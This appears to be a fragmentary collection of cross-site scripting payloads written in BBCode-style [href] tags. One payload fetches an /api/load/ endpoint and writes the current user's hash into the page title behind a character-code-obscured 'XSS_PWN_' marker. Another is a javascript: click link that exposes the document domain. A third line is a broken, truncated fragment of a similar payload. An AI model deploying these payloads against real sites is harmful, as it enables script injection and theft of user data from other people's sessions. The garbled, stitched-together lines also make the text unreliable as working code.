[href=x]fetch(/api/load/).then(r=>r.json()).then(d=>document.title=String.fromCharCode(88,83,83,95,80,87,78,95)+(d.user?d.user.hash:String.fromCharCode(71,85,69,83,84)))[/href]
click-vector: [href=javascript:document.title=String.fromCharCode(88,83,83,95,80,87,78)+document.domain]CLICKME[/href]
).then(function(d){document.title=String.fromCharCode(88,83,83,95,80,87,78,95).concat(d.user?d.user.hash:71)})}CLICK78
CLICK78
